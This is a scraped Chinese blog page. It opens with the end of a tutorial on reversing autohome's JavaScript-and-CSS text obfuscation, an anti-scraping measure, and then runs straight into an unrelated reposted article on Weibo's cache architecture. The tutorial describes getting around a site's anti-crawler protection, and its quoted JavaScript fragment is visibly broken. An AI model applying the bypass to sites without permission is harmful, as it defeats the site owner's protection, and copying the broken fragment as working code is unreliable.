    functionEW_() { = DV_()[decodeURIComponent]('%E3%80%81%E3%80%82%E4%B8%80%E4%B8%8A%E4%B8%8B%E4%B8%8D%E4%BA%86%E4%BA%94%E5%92%8C%E5%9C%B0%E5%A4%9A%E5%A4%A7%E5%A5%BD%E5%B0%8F%E5%BE%88%E5%BE%97%E6%98%AF%E7%9A%84%E7%9D%80%E8%BF%9C%E9%95%BF%E9%AB%98%EF%BC%81%EF%BC%8C%EF%BC%9F'Ÿ yc_()); 
    = la_((yc_() 23; 3; 19; 17; 9; 1; 8; 12; 18; 13; 2; 4; 16; 5; 6; 21; 15; 11; 22; 14; 24; 0; 10; 7; 20), lf_(;)); 
    = la_((10 _7, 6 _0; 2 _33, 14 _18; 8 _45, 8 _36; 0 _71, 16 _54; 13 _76, 3 _72; 0 _107, 16 _90; 15 _110, 1 _108; 4 _139, 12 _126; 9 _152, 7 _144; 10 _169, 6 _162; 4 _193, 12 _180; 11 _204, 5 _198; 3 _230, 13 _216; 1 _250, 15 _234; 13 _256, 3 _252; 6 _281, 10 _270; 9 _296, 7 _288; 13 _310, 3 _306; 6 _335, 10 _324; 7 _352, 9 _342; 6 _371, 10 _360; 5 _390, 11 _378; 5 _408, 11 _396; 7 _424, 9 _414; 6 _443, 10 _432lf_(;)), yc_(;));
            Uj_();
            return;;
        }
    function mS_() {
        for (Gx_ = 0; Gx_ < nf_.length; Gx_++) {
            var su_ = Pn_(nf_[Gx_], ',');
            var KN_ = '';
            for (Bk_ = 0; Bk_ < su_.length; Bk_++) {
                KN_ += ui_(su_[Bk_]) + '';
            }
            Kx_(Gx_, KN_);
        }
    }
    function NH_(Gx_) {
        return '.hs_kw' + Gx_ + '_maindC';
    }
    function Ln_() {
        return '::before { content:'
    }
})(document);
复制代码

很简单的逻辑,预先定义好哪几个字要被替换,上面代码中的那个很多%的字符串就是被替换的文字串,然后定义好每个文

字的序号,最后按照文字的序号对文字串进行重新排序并生成css样式,注意,最一开始的span标签的class属性中是有个序

号的,这个序号就是用来定位应该对应哪个文字。

接下来要做的就是无非就是从js代码中找到这个文字串,找到文字串的顺序,然后进行重排,然后根据span标签序号对原文

进行反向替换,从而得到完整的内容。

破解步骤:

简单整理一下:

1、从js代码中找到被替换的文字串和顺序

2、重排文字串

3、对原文中span标签根据class序号进行替换

其实2、3都比较简单,重点是第一步,找到被替换的文字串和顺序,由于源代码中js代码是被混淆过的,无法直接看出哪个

是文字串,所以首先应该对js代码进行反混淆,这个反混淆也不是说非得完整的还原所有的js代码,其实只要能反混淆到能

让我们看出文字串和顺序是什么就行了。

说一下反混淆的思路,其实很简单。就是执行起来比较麻烦而已,混淆是利用将一个简单的变量定义成复杂的js代码的方法

实现的,但这种混淆方式其实是有限的(这个有限指的是混淆用的工具在生成混淆代码时肯定是人为预先定义好了几种模式

,人为定义的肯定是有限的,只要你把所有的模式找出来,就可以还原了)。举个例子

function iq_() {
        'return iq_';
        return '3';
    }

这段代码其实你可以简单的认为就是变量iq()等于’3’,使用正则匹配这样的代码模式,然后提取关键字:函数名和最后一个

return的值,然后将提取到的信息保存起来用于对js代码进行全文替换。

复制代码
function cz_() {
        function _c() {
            return 'cz_';
        };
        if (_c() == 'cz__') {
            return _c();
        } else {
            return '84';
        }
    }
复制代码

这段代码复杂了一些,增加了判断,不过也简单,利用正则匹配这样的模式,然后提取关键字:函数名、第一个return的值,

判断中==后面的值,最后一个return的值,然后自己进行判断来确定cz_()的值应该是多少,保存起来进行全文替换。

以此类推,每种模式都可以使用正则来提取关键字并进行全文替换来反混淆,最后我们会得到一个大概被还原的js代码,其

中的文字串和顺序都清晰可见,再使用正则匹配出来就可以了。需要注意的一点是有时候被替换的不是单个文字,而是一些

词语,这是找到的顺序是”3,1;23,5″这样的,不过这些小伎俩应该不算什么,很好解决。

PS1:

发现一种新的模式,以前没注意,span的class属性hs_kw后面还有一串字符,估计是用来标示类别的,一般的网页

上只有一种class,出现多种的时候对应的源码中就会存在多段js代码,每段js代码对应一种class,关键是找到js代码对应的

class类型,然后分类型替换就行了。

结语:

这个建议大家自己动手做一下,还是比较有意思的,完整的破解代码见我的github

https://github.com/duanyifei/antispider/blob/master/autohome.py

[转]微博应对日访问量百亿级的缓存架构设计

作者介绍

陈波,新浪微博技术专家,《深入分布式缓存》作者。

注:本文转自中生代技术订阅号(ID:freshmanTechnology),经平台授权转载。

微博日活跃用户1.6亿+,每日访问量达百亿级,面对庞大用户群的海量访问,良好的架构且不断改进的缓存体系具有非常重要的支撑作用。本文将由新浪微博技术专家陈波老师,跟大家详细讲解那些庞大的数据都是如何呈现的。

本文大纲

1、微博在运行过程中的数据挑战

2、Feed平台系统架构

3、Cache架构及演进

4、总结与展望

数据挑战

Feed平台系统架构

Feed平台系统架构总共分为五层,最上面是端层,比如web端、客户端、大家用的IOS或安卓的一些客户端,还有一些开放平台、第三方接入的一些接口;下一层是平台接入层,不同的池子,主要是为了把好的资源集中调配给重要的核心接口,这样遇到突发流量的时候,就有更好的弹性来服务,提高服务稳定性。再下面是平台服务层,主要是Feed算法、关系等等。接下来是中间层,通过各种中间介质提供一些服务。最下面一层就是存储层。

1
Feed Timeline

大家日常刷微博的时候,比如在主站或客户端点一下刷新,最新获得了十到十五条微博,这是怎么构建出来的呢?

刷新之后,首先会获得用户的关注关系。比如他有一千个关注,会把这一千个ID拿到,再根据这一千个UID,拿到每个用户发表的一些微博。同时会获取这个用户的Inbox,就是他收到的特殊的一些消息,比如分组的一些微博、群的微博、下面的关注关系、关注人的微博列表。

拿到这一系列微博列表之后进行集合、排序,拿到所需要的那些ID,再对这些ID去取每一条微博ID对应的微博内容。如果这些微博是转发过来的,它还有一个原微博,会进一步取原微博内容。通过原微博取用户信息,进一步根据用户的过滤词对这些微博进行过滤,过滤掉用户不想看到的微博。

根据以上步骤留下的微博,会再进一步来看,用户对这些微博有没有收藏、点赞,做一些flag设置,还会对这些微博各种计数,转发、评论、赞数进行组装,最后才把这十几条微博返回给用户的各种端。

这样看来,用户一次请求得到的十几条记录,后端服务器大概要对几百甚至几千条数据进行实时组装,再返回给用户,整个过程对Cache体系强度依赖,所以Cache架构设计优劣会直接影响到微博体系表现的好坏。

2
Feed Cache架构

接下来我们看一下Cache架构,它主要分为六层。首先第一层是Inbox,主要是分组的一些微博,然后直接对群主的一些微博。Inbox比较少,主要是推的方式。

然后对于第二层的Outbox,每个用户都会发常规的微博,都会在它的Outbox里面去。根据存的ID数量,实际上分成多个Cache,普通的大概是200多条,如果长的大概是2000条。

第三层是一些关系,它的关注、粉丝、用户。

第四层是内容,每一条微博一些内容存在这里。

第五层就是一些存在性判断,比如某条微博我有没有赞过。之前有一些明星就说我没有点赞这条微博怎么显示我点赞了,引发了一些新闻。而这种就是记录,实际上她有在某个时候点赞过但可能忘记了。

最下面还有比较大的一层——计数,每条微博的评论、转发等计数,还有用户的关注数、粉丝数这些数据。

Cache架构及演进
1
简单KV数据类型

接下来我们着重讲一下微博的Cache架构演进过程。最开始微博上线时,我们是把它作为一个简单的KV数据类型来存储。我们主要采取哈希分片存储在MC池子里,上线几个月之后发现一些问题:有一些节点机器宕机或是其它原因,大量的请求会穿透Cache层达到DB上去,导致整个请求变慢,甚至DB僵死。

于是我们很快进行了改造,增加了一个HA层,这样即便Main层出现某些节点宕机情况或者挂掉之后,这些请求会进一步穿透到HA层,不会穿透到DB层。这样可以保证在任何情况下,整个系统命中率不会降低,系统服务稳定性有了比较大的提升。

对于这种做法,现在业界用得比较多,然后很多人说我直接用哈希,但这里面也有一些坑。比如我有一个节点,节点3宕机了,Main把它给摘掉,节点3的一些QA分给其他几个节点,这个业务量还不是很大,穿透DB,DB还可以抗住。但如果这个节点3恢复了,它又加进来之后,节点3的访问就会回来,稍后节点3因为网络原因或者机器本身的原因,它又宕机了,一些节点3的请求又会分给其他节点。这个时候就会出现问题,之前分散给其他节点写回来的数据已经没有人更新了,如果它没有被剔除掉就会出现混插数据。

实际上微博是一个广场型的业务,比如突发事件,某明星找个女朋友,瞬间流量就30%了。突发事件后,大量的请求会出现在某一些节点,会导致这些节点非常热,即便是MC也没办法满足这么大的请求量。这时MC就会变成瓶颈,导致整个系统变慢。

基于这个原因,我们引入了L1层,还是一个Main关系池,每一个L1大概是Main层的N分之一,六分之一、八分之一、十分之一这样一个内存量,根据请求量我会增加4到8个L1,这样所有请求来了之后首先会访问L1。L1命中的话就会直接访问,如果没有命中再来访问Main-HA层,这样在一些突发流量的时候,可以由L1来抗住大部分热的请求。对微博本身来说,新的数据就会越热,只要增加很少一部分内存就会抗住更大的量。

简单总结一下,通过简单KV数据类型的存储,我们实际上以MC为主的,层内HASH节点不漂移,Miss穿透到下一层去读取。通过多组L1读取性能提升,能够抗住峰值、突发流量,而且成本会大大降低。对读写策略,采取多写,读的话采用逐层穿透,如果Miss的话就进行回写。对存在里面的数据,我们最初采用Json/xml,2012年之后就直接采用Protocol Buffer格式,对一些比较大的用QuickL进行压缩。

2
集合类数据

刚才讲到简单的QA数据,那对于复杂的集合类数据怎么来处理?

比如我关注了2000人,新增一个人,就涉及到部分修改。有一种方式是把2000个ID全部拿下来进行修改,但这种对带宽、机器压力会很大。还有一些分页获取,我存了2000个,只需要取其中的第几页,比如第二页,也就是第十到第二十个,能不能不要全量把所有数据取回去。还有一些资源的联动计算,会计算到我关注的某些人里面ABC也关注了用户D。这种涉及到部分数据的修改、获取,包括计算,对MC来说实际上是不太擅长的。

各种关注关系都存在Redis里面取,通过Hash分布、储存,一组多存的方式来进行读写分离。现在Redis的内存大概有30个T,每天都有2-3万亿的请求。

在使用Redis的过程中,实际上还是遇到其他一些问题。比如从关注关系,我关注了2000个UID,有一种方式是全量存储,但微博有大量的用户,有些用户登陆得比较少,有些用户特别活跃,这样全部放在内存里成本开销是比较大的。所以我们就把Redis使用改成Cache,比如只存活跃的用户,如果你最近一段时间没有活跃,会把你从Redis里踢掉,再次有访问的时候再把你加进来。

这时存在一个问题,因为Redis工作机制是单线程模式,如果它加某一个UV,关注2000个用户,可能扩展到两万个UID,两万个UID塞回去基本上Redis就卡住了,没办法提供其他服务。所以我们扩展一种新的数据结构,两万个UID直接开了端,写的时候直接依次把它写到Redis里面去,读写的整个效率就会非常高。它的实现是一个long型的开放数组,通过Double Hash进行寻址。

我们对Redis进行了一些其他的扩展,大家可能也在网上看到过我们之前的一些分享,把数据放到公共变量里面,整个升级过程,我们测试1G的话加载要10分钟,10G大概要十几分钟以上,现在是毫秒级升级。

对于AOF,我们采用滚动的AOF,每个AOF是带一个ID的,达到一定的量再滚动到下一个AOF里去。对RDB落地的时候,我们会记录构建这个RDB时,AOF文件以及它所在的位置,通过新的RDB、AOF扩展模式,实现全增量复制。

3
其他数据类型-计数

接下来还有一些其他的数据类型,比如一个计数,实际上计数在每个互联网公司都可能会遇到,对一些中小型的业务来说,实际上MC和Redis足够用的,但在微博里计数出现了一些特点:单条Key有多条计数,比如一条微博,有转发数、评论数,还有点赞;一个用户有粉丝数、关注数等各种各样的数字。因为是计数,它的Value size是比较小的,根据它的各种业务场景,大概就是2-8个字节,一般4个字节为多,然后每日新增的微博大概十亿条记录,总记录就更可观了,然后一次请求,可能几百条计数要返回去。

4
计数器-Counter Service

最初是可以采取Memcached,但它有个问题,如果计数超过它内容容量时,会导致一些计数的剔除,宕机或重启后计数就没有了。另外可能有很多计数它为零,那这个时候怎么存,要不要存,存的话就占很多内存。微博每天上十亿的计数,光存0都要占大量的内存,如果不存又会导致穿透到DB里去,对服务的可溶性会存在影响。

2010年之后我们又采用Redis访问,随着数据量越来越大之后,发现Redis内存有效负荷还是比较低的,它一条KV大概需要至少65个字节,但实际上我们一个计数需要8个字节,然后Value大概4个字节,所以有效只有12个字节,还有四十多个字节都是被浪费掉的。这还只是单个KV,如果在一条Key有多个计数的情况下,它就浪费得更多了。比如说四个计数,一个Key 8个字节,四个计数每个计数是4个字节,16个字节大概需要26个字节就行了,但是用Redis存大概需要200多个字节。

后来我们通过自己研发的Counter Service,内存降至Redis的五分之一到十五分之一以下,而且进行冷热分离,热数据存在内存里,冷数据如果重新变热,就把它放到LRU里去。落地RDB、AOF,实现全增量复制,通过这种方式,热数据单机可以存百亿级,冷数据可以存千亿级。

整个存储架构大概是上图这样,上面是内存,下面是SSD,在内存里是预先把它分成N个Table,每个Table根据ID的指针序列,划出一定范围。任何一个ID过来先找到它所在的Table,如果有直接对它增增减减,有新的计数过来,发现内存不够的时候,就会把一个小的Table Dump到SSD里去,留着新的位置放在最上面供新的ID来使用。

有些人疑问说,如果在某个范围内,我的ID本来设的计数是4个字节,但是微博特别热,超过了4个字节,变成很大的一个计数怎么处理?对于超过限制的,我们把它放在Aux dict进行存放,对于落在SSD里的Table,我们有专门的IndAux进行访问,通过RDB方式进行复制。

5
其他数据类型-存在性判断

除了计数,微博还有一些业务,一些存在性判断。比如一条微博展现的,有没有点赞、阅读、推荐,如果这个用户已经读过这个微博了,就不要再显示给他。这种有一个很大的特点,它检查是否存在,每条记录非常小,比如Value1个bit就可以了,但总数据量巨大。比如微博每天新发表微博1亿左右,读的可能有上百亿、上千亿这种总的数据需要判断。怎么来存储是个很大的问题,而且这里面很多存在性就是0。还是前面说的,0要不要存?如果存了,每天就存上千亿的记录;如果不存,那大量的请求最终会穿透Cache层到DB层,任何DB都没办法抗住那么大的流量。

我们也进行了一些选型,首先直接考虑能不能用Redis。单条KV 65个字节,一个KV可以8个字节的话,Value只有1个bit,这样算下来每日新增内存有效率是非常低的。第二种我们新开发的Counter Service,单条KV Value1个bit,我就存1个byt,总共9个byt就可以了。这样每日新增内存900G,存的话可能就只能存最新若干天的,存个三天差不多快3个T了,压力也挺大,但比Redis已经好很多。

我们最终方案是自己开发Phantom,先采用把共享内存分段分配,最终使用的内存只用120G就可以。算法很简单,对每个Key可以进行N次哈希,如果哈希的某一个位它是1,那么进行3次哈希,三个数字把它设为1。把X2也进行三次哈希,后面来判断X1是否存在的时候,从进行三次哈希来看,如果都为1就认为它是存在的,如果某一个哈希X3,它的位算出来是0,那就百分百肯定是不存在的。

它的实现架构比较简单,把共享内存预先拆分到不同Table里,在里面进行开方式计算,然后读写,落地的话采用AOF+RDB的方式进行处理。整个过程因为放在共享内存里面,进程要升级重启数据也不会丢失。对外访问的时候,建Redis协议,它直接扩展新的协议就可以访问我们这个服务了。

6
小结

小结一下,到目前为止,我们关注了Cache集群内的高可用、扩展性、组件高性能,还有一个特别重要就是存储成本,还有一些我们没有关注到的,比如运维性如何,微博现在已经有几千差不多上万台服务器等。

7
进一步优化

8
服务化

采取的方案首先就是对整个Cache进行服务化管理,对配置进行服务化管理,避免频繁重启,另外如果配置发生变更,直接用一个脚本修改一下。

服务化还引入Cluster Manager,实现对外部的管理,通过一个界面来进行管理,可以进行服务校验。服务治理方面,可以做到扩容、缩容,SLA也可以得到很好的保障。另外,对于开发来说,现在就可以屏蔽Cache资源。

总结与展望

最后简单总结一下,对于微博Cache架构来说,我们从它的数据架构、性能、储存成本、服务化等不同方面进行了优化增强。欢迎对此有研究或有疑问的同行们留言,跟我们一起探讨。